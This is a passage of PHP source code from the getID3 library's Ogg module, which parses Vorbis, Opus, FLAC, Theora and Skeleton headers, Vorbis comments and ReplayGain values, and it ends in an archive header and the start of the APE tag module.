= ($info['ogg']['pageheader']['theora']['flags'] & 0x0007) >> 0; // should be 0 $info['ogg']['pageheader']['theora']['color_space'] = self::TheoraColorSpace($info['ogg']['pageheader']['theora']['color_space_id']); $info['ogg']['pageheader']['theora']['pixel_format'] = self::TheoraPixelFormat($info['ogg']['pageheader']['theora']['pixel_format_id']); $info['video']['dataformat'] = 'theora'; $info['mime_type'] = 'video/ogg'; //$info['audio']['bitrate_mode'] = 'abr'; //$info['audio']['lossless'] = false; $info['video']['resolution_x'] = $info['ogg']['pageheader']['theora']['resolution_x']; $info['video']['resolution_y'] = $info['ogg']['pageheader']['theora']['resolution_y']; if ($info['ogg']['pageheader']['theora']['frame_rate_denominator'] > 0) { $info['video']['frame_rate'] = (float) $info['ogg']['pageheader']['theora']['frame_rate_numerator'] / $info['ogg']['pageheader']['theora']['frame_rate_denominator']; } if ($info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] > 0) { $info['video']['pixel_aspect_ratio'] = (float) $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] / $info['ogg']['pageheader']['theora']['pixel_aspect_denominator']; } $this->warning('Ogg Theora (v3) not fully supported in this version of getID3 ['.$this->getid3->version().'] -- bitrate, playtime and all audio data are currently unavailable'); } elseif (substr($filedata, 0, 8) == "fishead\x00") { // Ogg Skeleton version 3.0 Format Specification // http://xiph.org/ogg/doc/skeleton.html $filedataoffset += 8; $info['ogg']['skeleton']['fishead']['raw']['version_major'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); $filedataoffset += 2; $info['ogg']['skeleton']['fishead']['raw']['version_minor'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); $filedataoffset += 2; $info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fishead']['raw']['basetime_numerator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fishead']['raw']['utc'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 20)); $filedataoffset += 20; $info['ogg']['skeleton']['fishead']['version'] = $info['ogg']['skeleton']['fishead']['raw']['version_major'].'.'.$info['ogg']['skeleton']['fishead']['raw']['version_minor']; $info['ogg']['skeleton']['fishead']['presentationtime'] = $info['ogg']['skeleton']['fishead']['raw']['presentationtime_numerator'] / $info['ogg']['skeleton']['fishead']['raw']['presentationtime_denominator']; $info['ogg']['skeleton']['fishead']['basetime'] = $info['ogg']['skeleton']['fishead']['raw']['basetime_numerator'] / $info['ogg']['skeleton']['fishead']['raw']['basetime_denominator']; $info['ogg']['skeleton']['fishead']['utc'] = $info['ogg']['skeleton']['fishead']['raw']['utc']; $counter = 0; do { $oggpageinfo = $this->ParseOggPageHeader(); $info['ogg']['pageheader'][$oggpageinfo['page_seqno'].'.'.$counter++] = $oggpageinfo; $filedata = $this->fread($oggpageinfo['page_length']); $this->fseek($oggpageinfo['page_end_offset']); if (substr($filedata, 0, 8) == "fisbone\x00") { $filedataoffset = 8; $info['ogg']['skeleton']['fisbone']['raw']['message_header_offset'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['skeleton']['fisbone']['raw']['serial_number'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['skeleton']['fisbone']['raw']['number_header_packets'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['skeleton']['fisbone']['raw']['granulerate_numerator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fisbone']['raw']['granulerate_denominator'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fisbone']['raw']['basegranule'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $info['ogg']['skeleton']['fisbone']['raw']['preroll'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['skeleton']['fisbone']['raw']['granuleshift'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['skeleton']['fisbone']['raw']['padding'] = substr($filedata, $filedataoffset, 3); $filedataoffset += 3; } elseif (substr($filedata, 1, 6) == 'theora') { $info['video']['dataformat'] = 'theora1'; $this->error('Ogg Theora (v1) not correctly handled in this version of getID3 ['.$this->getid3->version().']'); //break; } elseif (substr($filedata, 1, 6) == 'vorbis') { $this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo); } else { $this->error('unexpected'); //break; } //} while ($oggpageinfo['page_seqno'] == 0); } while (($oggpageinfo['page_seqno'] == 0) && (substr($filedata, 0, 8) != "fisbone\x00")); $this->fseek($oggpageinfo['page_start_offset']); $this->error('Ogg Skeleton not correctly handled in this version of getID3 ['.$this->getid3->version().']'); //return false; } elseif (substr($filedata, 0, 5) == "\x7F".'FLAC') { // https://xiph.org/flac/ogg_mapping.html $info['audio']['dataformat'] = 'flac'; $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['lossless'] = true; $info['ogg']['flac']['header']['version_major'] = ord(substr($filedata, 5, 1)); $info['ogg']['flac']['header']['version_minor'] = ord(substr($filedata, 6, 1)); $info['ogg']['flac']['header']['header_packets'] = getid3_lib::BigEndian2Int(substr($filedata, 7, 2)) + 1; // "A two-byte, big-endian binary number signifying the number of header (non-audio) packets, not including this one. This number may be zero (0x0000) to signify 'unknown' but be aware that some decoders may not be able to handle such streams." $info['ogg']['flac']['header']['magic'] = substr($filedata, 9, 4); if ($info['ogg']['flac']['header']['magic'] != 'fLaC') { $this->error('Ogg-FLAC expecting "fLaC", found "'.$info['ogg']['flac']['header']['magic'].'" ('.trim(getid3_lib::PrintHexBytes($info['ogg']['flac']['header']['magic'])).')'); return false; } $info['ogg']['flac']['header']['STREAMINFO_bytes'] = getid3_lib::BigEndian2Int(substr($filedata, 13, 4)); $info['flac']['STREAMINFO'] = getid3_flac::parseSTREAMINFOdata(substr($filedata, 17, 34)); if (!empty($info['flac']['STREAMINFO']['sample_rate'])) { $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['sample_rate'] = $info['flac']['STREAMINFO']['sample_rate']; $info['audio']['channels'] = $info['flac']['STREAMINFO']['channels']; $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; $info['playtime_seconds'] = $info['flac']['STREAMINFO']['samples_stream'] / $info['flac']['STREAMINFO']['sample_rate']; } } else { $this->error('Expecting one of "vorbis", "Speex", "OpusHead", "vorbis", "fishhead", "theora", "fLaC" identifier strings, found "'.substr($filedata, 0, 8).'"'); unset($info['ogg']); unset($info['mime_type']); return false; } // Page 2 - Comment Header $oggpageinfo = $this->ParseOggPageHeader(); $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; switch ($info['audio']['dataformat']) { case 'vorbis': $filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, 0, 1)); $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, 1, 6); // hard-coded to 'vorbis' $this->ParseVorbisComments(); break; case 'flac': $flac = new getid3_flac($this->getid3); if (!$flac->parseMETAdata()) { $this->error('Failed to parse FLAC headers'); return false; } unset($flac); break; case 'speex': $this->fseek($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length'], SEEK_CUR); $this->ParseVorbisComments(); break; case 'opus': $filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, 0, 8); // hard-coded to 'OpusTags' if(substr($filedata, 0, 8) != 'OpusTags') { $this->error('Expected "OpusTags" as header but got "'.substr($filedata, 0, 8).'"'); return false; } $this->ParseVorbisComments(); break; } // Last Page - Number of Samples if (!getid3_lib::intValueSupported($info['avdataend'])) { $this->warning('Unable to parse Ogg end chunk file (PHP does not support file operations beyond '.round(PHP_INT_MAX / 1073741824).'GB)'); } else { $this->fseek(max($info['avdataend'] - $this->getid3->fread_buffer_size(), 0)); $LastChunkOfOgg = strrev($this->fread($this->getid3->fread_buffer_size())); if ($LastOggSpostion = strpos($LastChunkOfOgg, 'SggO')) { $this->fseek($info['avdataend'] - ($LastOggSpostion + strlen('SggO'))); $info['avdataend'] = $this->ftell(); $info['ogg']['pageheader']['eos'] = $this->ParseOggPageHeader(); $info['ogg']['samples'] = $info['ogg']['pageheader']['eos']['pcm_abs_position']; if ($info['ogg']['samples'] == 0) { $this->error('Corrupt Ogg file: eos.number of samples == zero'); return false; } if (!empty($info['audio']['sample_rate'])) { $info['ogg']['bitrate_average'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / ($info['ogg']['samples'] / $info['audio']['sample_rate']); } } } if (!empty($info['ogg']['bitrate_average'])) { $info['audio']['bitrate'] = $info['ogg']['bitrate_average']; } elseif (!empty($info['ogg']['bitrate_nominal'])) { $info['audio']['bitrate'] = $info['ogg']['bitrate_nominal']; } elseif (!empty($info['ogg']['bitrate_min']) && !empty($info['ogg']['bitrate_max'])) { $info['audio']['bitrate'] = ($info['ogg']['bitrate_min'] + $info['ogg']['bitrate_max']) / 2; } if (isset($info['audio']['bitrate']) && !isset($info['playtime_seconds'])) { if ($info['audio']['bitrate'] == 0) { $this->error('Corrupt Ogg file: bitrate_audio == zero'); return false; } $info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']); } if (isset($info['ogg']['vendor'])) { $info['audio']['encoder'] = preg_replace('/^Encoded with /', '', $info['ogg']['vendor']); // Vorbis only if ($info['audio']['dataformat'] == 'vorbis') { // Vorbis 1.0 starts with Xiph.Org if (preg_match('/^Xiph.Org/', $info['audio']['encoder'])) { if ($info['audio']['bitrate_mode'] == 'abr') { // Set -b 128 on abr files $info['audio']['encoder_options'] = '-b '.round($info['ogg']['bitrate_nominal'] / 1000); } elseif (($info['audio']['bitrate_mode'] == 'vbr') && ($info['audio']['channels'] == 2) && ($info['audio']['sample_rate'] >= 44100) && ($info['audio']['sample_rate'] <= 48000)) { // Set -q N on vbr files $info['audio']['encoder_options'] = '-q '.$this->get_quality_from_nominal_bitrate($info['ogg']['bitrate_nominal']); } } if (empty($info['audio']['encoder_options']) && !empty($info['ogg']['bitrate_nominal'])) { $info['audio']['encoder_options'] = 'Nominal bitrate: '.intval(round($info['ogg']['bitrate_nominal'] / 1000)).'kbps'; } } } return true; } /** * @param string $filedata * @param int $filedataoffset * @param array $oggpageinfo * * @return bool */ public function ParseVorbisPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) { $info = &$this->getid3->info; $info['audio']['dataformat'] = 'vorbis'; $info['audio']['lossless'] = false; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, $filedataoffset, 6); // hard-coded to 'vorbis' $filedataoffset += 6; $info['ogg']['bitstreamversion'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['numberofchannels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['audio']['channels'] = $info['ogg']['numberofchannels']; $info['ogg']['samplerate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; if ($info['ogg']['samplerate'] == 0) { $this->error('Corrupt Ogg file: sample rate == zero'); return false; } $info['audio']['sample_rate'] = $info['ogg']['samplerate']; $info['ogg']['samples'] = 0; // filled in later $info['ogg']['bitrate_average'] = 0; // filled in later $info['ogg']['bitrate_max'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['bitrate_nominal'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['bitrate_min'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['blocksize_small'] = pow(2, getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0x0F); $info['ogg']['blocksize_large'] = pow(2, (getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0xF0) >> 4); $info['ogg']['stop_bit'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); // must be 1, marks end of packet $info['audio']['bitrate_mode'] = 'vbr'; // overridden if actually abr if ($info['ogg']['bitrate_max'] == 0xFFFFFFFF) { unset($info['ogg']['bitrate_max']); $info['audio']['bitrate_mode'] = 'abr'; } if ($info['ogg']['bitrate_nominal'] == 0xFFFFFFFF) { unset($info['ogg']['bitrate_nominal']); } if ($info['ogg']['bitrate_min'] == 0xFFFFFFFF) { unset($info['ogg']['bitrate_min']); $info['audio']['bitrate_mode'] = 'abr'; } return true; } /** * @link http://tools.ietf.org/html/draft-ietf-codec-oggopus-03 * * @param string $filedata * @param int $filedataoffset * @param array $oggpageinfo * * @return bool */ public function ParseOpusPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) { $info = &$this->getid3->info; $info['audio']['dataformat'] = 'opus'; $info['mime_type'] = 'audio/ogg; codecs=opus'; /** @todo find a usable way to detect abr (vbr that is padded to be abr) */ $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['lossless'] = false; $info['ogg']['pageheader']['opus']['opus_magic'] = substr($filedata, $filedataoffset, 8); // hard-coded to 'OpusHead' $filedataoffset += 8; $info['ogg']['pageheader']['opus']['version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; if ($info['ogg']['pageheader']['opus']['version'] < 1 || $info['ogg']['pageheader']['opus']['version'] > 15) { $this->error('Unknown opus version number (only accepting 1-15)'); return false; } $info['ogg']['pageheader']['opus']['out_channel_count'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; if ($info['ogg']['pageheader']['opus']['out_channel_count'] == 0) { $this->error('Invalid channel count in opus header (must not be zero)'); return false; } $info['ogg']['pageheader']['opus']['pre_skip'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); $filedataoffset += 2; $info['ogg']['pageheader']['opus']['input_sample_rate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; //$info['ogg']['pageheader']['opus']['output_gain'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); //$filedataoffset += 2; //$info['ogg']['pageheader']['opus']['channel_mapping_family'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); //$filedataoffset += 1; $info['opus']['opus_version'] = $info['ogg']['pageheader']['opus']['version']; $info['opus']['sample_rate_input'] = $info['ogg']['pageheader']['opus']['input_sample_rate']; $info['opus']['out_channel_count'] = $info['ogg']['pageheader']['opus']['out_channel_count']; $info['audio']['channels'] = $info['opus']['out_channel_count']; $info['audio']['sample_rate_input'] = $info['opus']['sample_rate_input']; $info['audio']['sample_rate'] = 48000; // "All Opus audio is coded at 48 kHz, and should also be decoded at 48 kHz for playback (unless the target hardware does not support this sampling rate). However, this field may be used to resample the audio back to the original sampling rate, for example, when saving the output to a file." -- https://mf4.xiph.org/jenkins/view/opus/job/opusfile-unix/ws/doc/html/structOpusHead.html return true; } /** * @return array|false */ public function ParseOggPageHeader() { // http://xiph.org/ogg/vorbis/doc/framing.html $oggheader['page_start_offset'] = $this->ftell(); // where we started from in the file $filedata = $this->fread($this->getid3->fread_buffer_size()); $filedataoffset = 0; while ((substr($filedata, $filedataoffset++, 4) != 'OggS')) { if (($this->ftell() - $oggheader['page_start_offset']) >= $this->getid3->fread_buffer_size()) { // should be found before here return false; } if ((($filedataoffset + 28) > strlen($filedata)) || (strlen($filedata) < 28)) { if ($this->feof() || (($filedata .= $this->fread($this->getid3->fread_buffer_size())) === '')) { // get some more data, unless eof, in which case fail return false; } } } $filedataoffset += strlen('OggS') - 1; // page, delimited by 'OggS' $oggheader['stream_structver'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $oggheader['flags_raw'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $oggheader['flags']['fresh'] = (bool) ($oggheader['flags_raw'] & 0x01); // fresh packet $oggheader['flags']['bos'] = (bool) ($oggheader['flags_raw'] & 0x02); // first page of logical bitstream (bos) $oggheader['flags']['eos'] = (bool) ($oggheader['flags_raw'] & 0x04); // last page of logical bitstream (eos) $oggheader['pcm_abs_position'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); $filedataoffset += 8; $oggheader['stream_serialno'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $oggheader['page_seqno'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $oggheader['page_checksum'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $oggheader['page_segments'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $oggheader['page_length'] = 0; for ($i = 0; $i < $oggheader['page_segments']; $i++) { $oggheader['segment_table'][$i] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $oggheader['page_length'] += $oggheader['segment_table'][$i]; } $oggheader['header_end_offset'] = $oggheader['page_start_offset'] + $filedataoffset; $oggheader['page_end_offset'] = $oggheader['header_end_offset'] + $oggheader['page_length']; $this->fseek($oggheader['header_end_offset']); return $oggheader; } /** * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html#x1-810005 * * @return bool */ public function ParseVorbisComments() { $info = &$this->getid3->info; $OriginalOffset = $this->ftell(); $commentdata = null; $commentdataoffset = 0; $VorbisCommentPage = 1; $CommentStartOffset = 0; switch ($info['audio']['dataformat']) { case 'vorbis': case 'speex': case 'opus': $CommentStartOffset = $info['ogg']['pageheader'][$VorbisCommentPage]['page_start_offset']; // Second Ogg page, after header block $this->fseek($CommentStartOffset); $commentdataoffset = 27 + $info['ogg']['pageheader'][$VorbisCommentPage]['page_segments']; $commentdata = $this->fread(self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1) + $commentdataoffset); if ($info['audio']['dataformat'] == 'vorbis') { $commentdataoffset += (strlen('vorbis') + 1); } else if ($info['audio']['dataformat'] == 'opus') { $commentdataoffset += strlen('OpusTags'); } break; case 'flac': $CommentStartOffset = $info['flac']['VORBIS_COMMENT']['raw']['offset'] + 4; $this->fseek($CommentStartOffset); $commentdata = $this->fread($info['flac']['VORBIS_COMMENT']['raw']['block_length']); break; default: return false; } $VendorSize = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4)); $commentdataoffset += 4; $info['ogg']['vendor'] = substr($commentdata, $commentdataoffset, $VendorSize); $commentdataoffset += $VendorSize; $CommentsCount = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4)); $commentdataoffset += 4; $info['avdataoffset'] = $CommentStartOffset + $commentdataoffset; $basicfields = array('TITLE', 'ARTIST', 'ALBUM', 'TRACKNUMBER', 'GENRE', 'DATE', 'DESCRIPTION', 'COMMENT'); $ThisFileInfo_ogg_comments_raw = &$info['ogg']['comments_raw']; for ($i = 0; $i < $CommentsCount; $i++) { if ($i >= 10000) { // https://github.com/owncloud/music/issues/212#issuecomment-43082336 $this->warning('Unexpectedly large number ('.$CommentsCount.') of Ogg comments - breaking after reading '.$i.' comments'); break; } $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] = $CommentStartOffset + $commentdataoffset; if ($this->ftell() < ($ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + 4)) { if ($oggpageinfo = $this->ParseOggPageHeader()) { $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; $VorbisCommentPage++; // First, save what we haven't read yet $AsYetUnusedData = substr($commentdata, $commentdataoffset); // Then take that data off the end $commentdata = substr($commentdata, 0, $commentdataoffset); // Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct $commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); $commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); // Finally, stick the unused data back on the end $commentdata .= $AsYetUnusedData; //$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); $commentdata .= $this->fread($this->OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1)); } } $ThisFileInfo_ogg_comments_raw[$i]['size'] = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4)); // replace avdataoffset with position just after the last vorbiscomment $info['avdataoffset'] = $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + $ThisFileInfo_ogg_comments_raw[$i]['size'] + 4; $commentdataoffset += 4; while ((strlen($commentdata) - $commentdataoffset) < $ThisFileInfo_ogg_comments_raw[$i]['size']) { if (($ThisFileInfo_ogg_comments_raw[$i]['size'] > $info['avdataend']) || ($ThisFileInfo_ogg_comments_raw[$i]['size'] < 0)) { $this->warning('Invalid Ogg comment size (comment #'.$i.', claims to be '.number_format($ThisFileInfo_ogg_comments_raw[$i]['size']).' bytes) - aborting reading comments'); break 2; } $VorbisCommentPage++; $oggpageinfo = $this->ParseOggPageHeader(); $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; // First, save what we haven't read yet $AsYetUnusedData = substr($commentdata, $commentdataoffset); // Then take that data off the end $commentdata = substr($commentdata, 0, $commentdataoffset); // Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct $commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); $commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); // Finally, stick the unused data back on the end $commentdata .= $AsYetUnusedData; //$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); if (!isset($info['ogg']['pageheader'][$VorbisCommentPage])) { $this->warning('undefined Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell()); break; } $readlength = self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1); if ($readlength <= 0) { $this->warning('invalid length Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell()); break; } $commentdata .= $this->fread($readlength); //$filebaseoffset += $oggpageinfo['header_end_offset'] - $oggpageinfo['page_start_offset']; } $ThisFileInfo_ogg_comments_raw[$i]['offset'] = $commentdataoffset; $commentstring = substr($commentdata, $commentdataoffset, $ThisFileInfo_ogg_comments_raw[$i]['size']); $commentdataoffset += $ThisFileInfo_ogg_comments_raw[$i]['size']; if (!$commentstring) { // no comment? $this->warning('Blank Ogg comment ['.$i.']'); } elseif (strstr($commentstring, '=')) { $commentexploded = explode('=', $commentstring, 2); $ThisFileInfo_ogg_comments_raw[$i]['key'] = strtoupper($commentexploded[0]); $ThisFileInfo_ogg_comments_raw[$i]['value'] = (isset($commentexploded[1]) ? $commentexploded[1] : ''); if ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'METADATA_BLOCK_PICTURE') { // http://wiki.xiph.org/VorbisComment#METADATA_BLOCK_PICTURE // The unencoded format is that of the FLAC picture block. The fields are stored in big endian order as in FLAC, picture data is stored according to the relevant standard. // http://flac.sourceforge.net/format.html#metadata_block_picture $flac = new getid3_flac($this->getid3); $flac->setStringMode(base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value'])); $flac->parsePICTURE(); $info['ogg']['comments']['picture'][] = $flac->getid3->info['flac']['PICTURE'][0]; unset($flac); } elseif ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'COVERART') { $data = base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']); $this->notice('Found deprecated COVERART tag, it should be replaced in honor of METADATA_BLOCK_PICTURE structure'); /** @todo use 'coverartmime' where available */ $imageinfo = getid3_lib::GetDataImageSize($data); if ($imageinfo === false || !isset($imageinfo['mime'])) { $this->warning('COVERART vorbiscomment tag contains invalid image'); continue; } $ogg = new self($this->getid3); $ogg->setStringMode($data); $info['ogg']['comments']['picture'][] = array( 'image_mime' => $imageinfo['mime'], 'datalength' => strlen($data), 'picturetype' => 'cover art', 'image_height' => $imageinfo['height'], 'image_width' => $imageinfo['width'], 'data' => $ogg->saveAttachment('coverart', 0, strlen($data), $imageinfo['mime']), ); unset($ogg); } else { $info['ogg']['comments'][strtolower($ThisFileInfo_ogg_comments_raw[$i]['key'])][] = $ThisFileInfo_ogg_comments_raw[$i]['value']; } } else { $this->warning('[known problem with CDex >= v1.40, < v1.50b7] Invalid Ogg comment name/value pair ['.$i.']: '.$commentstring); } unset($ThisFileInfo_ogg_comments_raw[$i]); } unset($ThisFileInfo_ogg_comments_raw); // Replay Gain Adjustment // http://privatewww.essex.ac.uk/~djmrob/replaygain/ if (isset($info['ogg']['comments']) && is_array($info['ogg']['comments'])) { foreach ($info['ogg']['comments'] as $index => $commentvalue) { switch ($index) { case 'rg_audiophile': case 'replaygain_album_gain': $info['replay_gain']['album']['adjustment'] = (double) $commentvalue[0]; unset($info['ogg']['comments'][$index]); break; case 'rg_radio': case 'replaygain_track_gain': $info['replay_gain']['track']['adjustment'] = (double) $commentvalue[0]; unset($info['ogg']['comments'][$index]); break; case 'replaygain_album_peak': $info['replay_gain']['album']['peak'] = (double) $commentvalue[0]; unset($info['ogg']['comments'][$index]); break; case 'rg_peak': case 'replaygain_track_peak': $info['replay_gain']['track']['peak'] = (double) $commentvalue[0]; unset($info['ogg']['comments'][$index]); break; case 'replaygain_reference_loudness': $info['replay_gain']['reference_volume'] = (double) $commentvalue[0]; unset($info['ogg']['comments'][$index]); break; default: // do nothing break; } } } $this->fseek($OriginalOffset); return true; } /** * @param int $mode * * @return string|null */ public static function SpeexBandModeLookup($mode) { static $SpeexBandModeLookup = array(); if (empty($SpeexBandModeLookup)) { $SpeexBandModeLookup[0] = 'narrow'; $SpeexBandModeLookup[1] = 'wide'; $SpeexBandModeLookup[2] = 'ultra-wide'; } return (isset($SpeexBandModeLookup[$mode]) ? $SpeexBandModeLookup[$mode] : null); } /** * @param array $OggInfoArray * @param int $SegmentNumber * * @return int */ public static function OggPageSegmentLength($OggInfoArray, $SegmentNumber=1) { $segmentlength = 0; for ($i = 0; $i < $SegmentNumber; $i++) { $segmentlength = 0; foreach ($OggInfoArray['segment_table'] as $key => $value) { $segmentlength += $value; if ($value < 255) { break; } } } return $segmentlength; } /** * @param int $nominal_bitrate * * @return float */ public static function get_quality_from_nominal_bitrate($nominal_bitrate) { // decrease precision $nominal_bitrate = $nominal_bitrate / 1000; if ($nominal_bitrate < 128) { // q-1 to q4 $qval = ($nominal_bitrate - 64) / 16; } elseif ($nominal_bitrate < 256) { // q4 to q8 $qval = $nominal_bitrate / 32; } elseif ($nominal_bitrate < 320) { // q8 to q9 $qval = ($nominal_bitrate + 256) / 64; } else { // q9 to q10 $qval = ($nominal_bitrate + 1300) / 180; } //return $qval; // 5.031324 //return intval($qval); // 5 return round($qval, 1); // 5 or 4.9 } /** * @param int $colorspace_id * * @return string|null */ public static function TheoraColorSpace($colorspace_id) { // http://www.theora.org/doc/Theora.pdf (table 6.3) static $TheoraColorSpaceLookup = array(); if (empty($TheoraColorSpaceLookup)) { $TheoraColorSpaceLookup[0] = 'Undefined'; $TheoraColorSpaceLookup[1] = 'Rec. 470M'; $TheoraColorSpaceLookup[2] = 'Rec. 470BG'; $TheoraColorSpaceLookup[3] = 'Reserved'; } return (isset($TheoraColorSpaceLookup[$colorspace_id]) ? $TheoraColorSpaceLookup[$colorspace_id] : null); } /** * @param int $pixelformat_id * * @return string|null */ public static function TheoraPixelFormat($pixelformat_id) { // http://www.theora.org/doc/Theora.pdf (table 6.4) static $TheoraPixelFormatLookup = array(); if (empty($TheoraPixelFormatLookup)) { $TheoraPixelFormatLookup[0] = '4:2:0'; $TheoraPixelFormatLookup[1] = 'Reserved'; $TheoraPixelFormatLookup[2] = '4:2:2'; $TheoraPixelFormatLookup[3] = '4:4:4'; } return (isset($TheoraPixelFormatLookup[$pixelformat_id]) ? $TheoraPixelFormatLookup[$pixelformat_id] : null); } } ID3/module.tag.apetag.php000064400000044571151202620270011143 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.tag.apetag.php // // module for analyzing APE tags // // dependencies: NONE // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // 